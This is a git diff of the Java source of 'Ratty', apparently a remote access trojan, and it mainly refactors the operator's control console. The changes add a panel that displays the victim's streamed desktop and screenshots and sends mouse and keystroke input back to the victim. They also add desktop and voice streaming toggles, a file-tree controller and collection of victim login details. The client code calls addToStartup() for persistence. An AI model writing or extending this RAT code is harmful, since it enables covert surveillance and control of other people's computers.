diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 1769f22..97e9472 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -122,10 +122,12 @@ public final class Ratty { if (input == JOptionPane.YES_OPTION) { System.out.println("Server"); - startServer(56673); + + startServer(port); } else if (input == JOptionPane.NO_OPTION) { System.out.println("Client"); - connectToHost("localhost", 56673); + + connectToHost(address, port); } } else if (client) { addToStartup(); diff --git a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java b/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java similarity index 91% rename from Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java rename to Ratty/src/de/sogomn/rat/packet/DesktopPacket.java index 5ca121a..00accb1 100644 --- a/Ratty/src/de/sogomn/rat/packet/DesktopStreamPacket.java +++ b/Ratty/src/de/sogomn/rat/packet/DesktopPacket.java @@ -9,7 +9,7 @@ import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.util.FrameEncoder; import de.sogomn.rat.util.FrameEncoder.IFrame; -public final class DesktopStreamPacket extends AbstractPingPongPacket { +public final class DesktopPacket extends AbstractPingPongPacket { private IFrame[] frames; private int screenWidth, screenHeight; @@ -24,12 +24,12 @@ public final class DesktopStreamPacket extends AbstractPingPongPacket { private static final byte INCOMING = 1; private static final byte END = 0; - public DesktopStreamPacket(final boolean delete) { + public DesktopPacket(final boolean delete) { type = REQUEST; deleteLastScreenshot = delete ? DELETE : KEEP; } - public DesktopStreamPacket() { + public DesktopPacket() { this(false); } diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 4263728..7a1a53b 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -11,7 +11,7 @@ public enum PacketType { FREE(4, FreePacket.class), INFORMATION(5, InformationPacket.class), COMMAND(6, CommandPacket.class), - DESKTOP(7, DesktopStreamPacket.class), + DESKTOP(7, DesktopPacket.class), CLIPBOARD(8, ClipboardPacket.class), FILE(9, FileSystemPacket.class), DOWNLOAD(10, DownloadFilePacket.class), diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java index 8fd24e6..c866bb0 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayController.java @@ -1,149 +1,80 @@ package de.sogomn.rat.server.gui; -import java.awt.Color; -import java.awt.Graphics2D; -import java.awt.event.MouseEvent; import java.awt.image.BufferedImage; -import de.sogomn.engine.IKeyboardListener; -import de.sogomn.engine.IMouseListener; -import de.sogomn.engine.Screen; -import de.sogomn.engine.Screen.ResizeBehavior; -import de.sogomn.engine.util.ImageUtils; +import de.sogomn.rat.packet.DesktopPacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.KeyEventPacket; import de.sogomn.rat.packet.MouseEventPacket; +import de.sogomn.rat.packet.ScreenshotPacket; import de.sogomn.rat.util.FrameEncoder.IFrame; -public final class DisplayController implements ISubController, IMouseListener, IKeyboardListener { +final class DisplayController implements ISubController { private ServerClient client; - private Screen screen; - private BufferedImage image; - - private static final int SCREEN_WIDTH = 1920 / 2; - private static final int SCREEN_HEIGHT = 1080 / 2; + private DisplayPanel displayPanel; public DisplayController(final ServerClient client) { this.client = client; - } - - private Screen createScreen(final int width, final int height) { - final Screen screen = new Screen(width, height); - final String title = client.connection.getAddress(); - - screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); - screen.setTitle(title); - screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); - screen.setBackgroundColor(Color.BLACK); - screen.addMouseListener(this); - screen.addKeyboardListener(this); - screen.addListener(g -> { - g.drawImage(image, 0, 0, null); - }); - - return screen; - } - - private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) { - final Graphics2D g = image.createGraphics(); - - ImageUtils.applyHighGraphics(g); - - g.drawImage(imagePart, x, y, null); - g.dispose(); - } - - public void updateScreen(final int width, final int height) { - if (screen == null || screen.getInitialWidth() != width || screen.getInitialHeight() != height || !screen.isOpen()) { - if (screen != null) { - screen.close(); - } - - screen = createScreen(width, height); - } - screen.show(); - screen.redraw(); - } - - public void showImage(final BufferedImage image) { - this.image = image; + displayPanel = new DisplayPanel(); - final int width = image.getWidth(); - final int height = image.getHeight(); + final String title = client.connection.getAddress(); - updateScreen(width, height); + displayPanel.addListener(this); + displayPanel.setTitle(title); } - public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { - if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { - image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); - } + private void handleDesktopPacket(final DesktopPacket packet) { + final boolean streamingDesktop = client.isStreamingDesktop(); - drawToScreenImage(frame.image, frame.x, frame.y); - updateScreen(screenWidth, screenHeight); - } - - public void showFrames(final IFrame[] frames, final int screenWidth, final int screenHeight) { - if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { - image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); + if (!streamingDesktop) { + return; } - for (final IFrame frame : frames) { - drawToScreenImage(frame.image, frame.x, frame.y); - } + final IFrame[] frames = packet.getFrames(); + final int screenWidth = packet.getScreenWidth(); + final int screenHeight = packet.getScreenHeight(); + final DesktopPacket desktop = new DesktopPacket(); - updateScreen(screenWidth, screenHeight); + client.connection.addPacket(desktop); + displayPanel.showFrames(frames, screenWidth, screenHeight); } @Override - public void userInput(final String actionCommand) { - //... + public void userInput(final String command) { + if (command == RattyGui.DESKTOP) { + final DesktopPacket packet = new DesktopPacket(true); + + client.connection.addPacket(packet); + } else if (command == RattyGui.SCREENSHOT) { + final ScreenshotPacket packet = new ScreenshotPacket(); + + client.connection.addPacket(packet); + } else if (command == DisplayPanel.MOUSE_EVENT) { + final MouseEventPacket packet = displayPanel.getLastMouseEventPacket(); + + client.connection.addPacket(packet); + } else if (command == DisplayPanel.KEY_EVENT) { + final KeyEventPacket packet = displayPanel.getLastKeyEventPacket(); + + client.connection.addPacket(packet); + } } @Override public void handlePacket(final IPacket packet) { - //... - } - - @Override - public void mouseEvent(final int x, final int y, final int button, final boolean flag) { - final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE; - final int buttonEvent; - - if (button == MouseEvent.BUTTON1) { - buttonEvent = MouseEvent.BUTTON1_DOWN_MASK; - } else if (button == MouseEvent.BUTTON2) { - buttonEvent = MouseEvent.BUTTON2_DOWN_MASK; - } else if (button == MouseEvent.BUTTON3) { - buttonEvent = MouseEvent.BUTTON3_DOWN_MASK; - } else { - buttonEvent = MouseEvent.NOBUTTON; + if (packet instanceof ScreenshotPacket) { + final ScreenshotPacket screenshot = (ScreenshotPacket)packet; + final BufferedImage image = screenshot.getImage(); + + displayPanel.showImage(image); + } else if (packet instanceof DesktopPacket) { + final DesktopPacket desktop = (DesktopPacket)packet; + + handleDesktopPacket(desktop); } - - final MouseEventPacket packet = new MouseEventPacket(x, y, buttonEvent, type); - - client.connection.addPacket(packet); - } - - @Override - public void mouseMotionEvent(final int x, final int y, final int modifiers) { - //... - } - - @Override - public void mouseWheelEvent(final int x, final int y, final int rotation) { - //... - } - - @Override - public void keyboardEvent(final int key, final boolean flag) { - final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE; - final KeyEventPacket packet = new KeyEventPacket(key, type); - - client.connection.addPacket(packet); } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java new file mode 100644 index 0000000..19c4def --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java @@ -0,0 +1,157 @@ +package de.sogomn.rat.server.gui; + +import java.awt.Color; +import java.awt.Graphics2D; +import java.awt.event.MouseEvent; +import java.awt.image.BufferedImage; + +import de.sogomn.engine.IKeyboardListener; +import de.sogomn.engine.IMouseListener; +import de.sogomn.engine.Screen; +import de.sogomn.engine.Screen.ResizeBehavior; +import de.sogomn.engine.util.AbstractListenerContainer; +import de.sogomn.engine.util.ImageUtils; +import de.sogomn.rat.packet.KeyEventPacket; +import de.sogomn.rat.packet.MouseEventPacket; +import de.sogomn.rat.util.FrameEncoder.IFrame; + +public final class DisplayPanel extends AbstractListenerContainer implements IMouseListener, IKeyboardListener { + + private String title; + private Screen screen; + private BufferedImage image; + + private MouseEventPacket lastMouseEventPacket; + private KeyEventPacket lastKeyEventPacket; + + private static final int SCREEN_WIDTH = 1920 / 2; + private static final int SCREEN_HEIGHT = 1080 / 2; + + public static final String MOUSE_EVENT = "Mouse event"; + public static final String KEY_EVENT = "Key event"; + + public DisplayPanel() { + //... + } + + private Screen createScreen(final int width, final int height) { + final Screen screen = new Screen(width, height); + + screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); + screen.setTitle(title); + screen.setSize(SCREEN_WIDTH, SCREEN_HEIGHT); + screen.setBackgroundColor(Color.BLACK); + screen.addMouseListener(this); + screen.addKeyboardListener(this); + screen.addListener(g -> { + g.drawImage(image, 0, 0, null); + }); + + return screen; + } + + private void drawToScreenImage(final BufferedImage imagePart, final int x, final int y) { + final Graphics2D g = image.createGraphics(); + + ImageUtils.applyHighGraphics(g); + + g.drawImage(imagePart, x, y, null); + g.dispose(); + } + + private void updateImage(final int screenWidth, final int screenHeight) { + if (image == null || image.getWidth() != screenWidth || image.getHeight() != screenHeight) { + image = new BufferedImage(screenWidth, screenHeight, BufferedImage.TYPE_INT_RGB); + } + } + + private void updateScreen(final int screenWidth, final int screenHeight) { + if (screen == null || screen.getInitialWidth() != screenWidth || screen.getInitialHeight() != screenHeight || !screen.isOpen()) { + if (screen != null) { + screen.close(); + } + + screen = createScreen(screenWidth, screenHeight); + } + + screen.show(); + screen.redraw(); + } + + @Override + public void mouseEvent(final int x, final int y, final int button, final boolean flag) { + final byte type = flag ? MouseEventPacket.PRESS : MouseEventPacket.RELEASE; + final int buttonEvent; + + if (button == MouseEvent.BUTTON1) { + buttonEvent = MouseEvent.BUTTON1_DOWN_MASK; + } else if (button == MouseEvent.BUTTON2) { + buttonEvent = MouseEvent.BUTTON2_DOWN_MASK; + } else if (button == MouseEvent.BUTTON3) { + buttonEvent = MouseEvent.BUTTON3_DOWN_MASK; + } else { + buttonEvent = MouseEvent.NOBUTTON; + } + + lastMouseEventPacket = new MouseEventPacket(x, y, buttonEvent, type); + + notifyListeners(controller -> controller.userInput(MOUSE_EVENT)); + } + + @Override + public void mouseMotionEvent(final int x, final int y, final int modifiers) { + //... + } + + @Override + public void mouseWheelEvent(final int x, final int y, final int rotation) { + //... + } + + @Override + public void keyboardEvent(final int key, final boolean flag) { + final byte type = flag ? KeyEventPacket.PRESS : KeyEventPacket.RELEASE; + + lastKeyEventPacket = new KeyEventPacket(key, type); + + notifyListeners(controller -> controller.userInput(KEY_EVENT)); + } + + public void setTitle(final String title) { + this.title = title; + } + + public void showImage(final BufferedImage image) { + this.image = image; + + final int width = image.getWidth(); + final int height = image.getHeight(); + + updateScreen(width, height); + } + + public void showFrame(final IFrame frame, final int screenWidth, final int screenHeight) { + updateImage(screenWidth, screenHeight); + drawToScreenImage(frame.image, frame.x, frame.y); + updateScreen(screenWidth, screenHeight); + } + + public void showFrames(final IFrame[] frames, final int screenWidth, final int screenHeight) { + updateImage(screenWidth, screenHeight); + + for (final IFrame frame : frames) { + drawToScreenImage(frame.image, frame.x, frame.y); + } + + updateScreen(screenWidth, screenHeight); + } + + public MouseEventPacket getLastMouseEventPacket() { + return lastMouseEventPacket; + } + + public KeyEventPacket getLastKeyEventPacket() { + return lastKeyEventPacket; + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java index da561a1..d3e3ca5 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreeController.java @@ -2,7 +2,7 @@ package de.sogomn.rat.server.gui; import de.sogomn.rat.packet.IPacket; -public final class FileTreeController implements ISubController { +final class FileTreeController implements ISubController { private ServerClient client; @@ -33,6 +33,8 @@ public final class FileTreeController implements ISubController { //... } else if (command == FileTree.DELETE) { //... + } else if (command == RattyGui.FILES) { + //... } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java index 99a190f..6caf852 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java @@ -1,6 +1,6 @@ package de.sogomn.rat.server.gui; -public interface IGuiController { +interface IGuiController { void userInput(final String command); diff --git a/Ratty/src/de/sogomn/rat/server/gui/ISubController.java b/Ratty/src/de/sogomn/rat/server/gui/ISubController.java index 2447d8c..82806b2 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ISubController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ISubController.java @@ -2,7 +2,7 @@ package de.sogomn.rat.server.gui; import de.sogomn.rat.packet.IPacket; -public interface ISubController extends IGuiController { +interface ISubController extends IGuiController { void handlePacket(final IPacket packet); diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index c5ee9de..90a7ca9 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -135,7 +135,7 @@ public final class RattyGui extends AbstractListenerContainer { notifyListeners(controller -> controller.userInput(command)); } - public void updateTable() { + public void update() { tableModel.fireTableDataChanged(); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java index 3c48423..51cc5cc 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java @@ -4,6 +4,7 @@ import java.util.ArrayList; import de.sogomn.rat.ActiveConnection; import de.sogomn.rat.IConnectionObserver; +import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.InformationPacket; import de.sogomn.rat.server.ActiveServer; @@ -24,12 +25,23 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs } private void logIn(final ServerClient client, final InformationPacket packet) { + final String name = packet.getName(); + final String os = packet.getOs(); + final String version = packet.getVersion(); + client.logIn(name, os, version); + gui.addRow(client); + gui.addListener(client.displayController); + gui.addListener(client.fileTreeController); } private IPacket getPacket(final String command, final ServerClient client) { IPacket packet = null; + if (command == RattyGui.FREE) { + packet = new FreePacket(); + } + return packet; } @@ -48,34 +60,43 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs } } + @Override + public void connected(final ActiveServer server, final ActiveConnection connection) { + final ServerClient client = new ServerClient(connection); + final InformationPacket packet = new InformationPacket(); + + connection.setObserver(this); + connection.start(); + connection.addPacket(packet); + clients.add(client); + } + @Override public void disconnected(final ActiveConnection connection) { final ServerClient client = getClient(connection); + gui.removeListener(client.displayController); + gui.removeListener(client.fileTreeController); + gui.removeRow(client); + clients.remove(client); + client.setStreamingDesktop(false); client.setStreamingVoice(false); connection.setObserver(null); connection.close(); - - clients.remove(client); - gui.removeRow(client); - } - - @Override - public synchronized void connected(final ActiveServer server, final ActiveConnection connection) { - final ServerClient client = new ServerClient(connection); - final InformationPacket packet = new InformationPacket(); - - connection.setObserver(this); - clients.add(client); - connection.start(); - connection.addPacket(packet); } @Override public void closed(final ActiveServer server) { - //... + gui.removeAllListeners(); + + clients.stream().forEach(client -> { + client.connection.setObserver(null); + client.connection.close(); + }); + + clients.clear(); } @Override @@ -83,6 +104,18 @@ public final class RattyGuiController implements IServerObserver, IConnectionObs final ServerClient client = gui.getLastServerClientClicked(); final IPacket packet = getPacket(command, client); + if (command == RattyGui.DESKTOP) { + final boolean streamingDesktop = client.isStreamingDesktop(); + + client.setStreamingDesktop(!streamingDesktop); + gui.update(); + } else if (command == RattyGui.VOICE) { + final boolean streamingVoice = client.isStreamingVoice(); + + client.setStreamingVoice(!streamingVoice); + gui.update(); + } + if (packet != null) { client.connection.addPacket(packet); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java index cb6571a..fb61b25 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java +++ b/Ratty/src/de/sogomn/rat/server/gui/ServerClient.java @@ -2,7 +2,7 @@ package de.sogomn.rat.server.gui; import de.sogomn.rat.ActiveConnection; -public final class ServerClient { +final class ServerClient { private boolean loggedIn;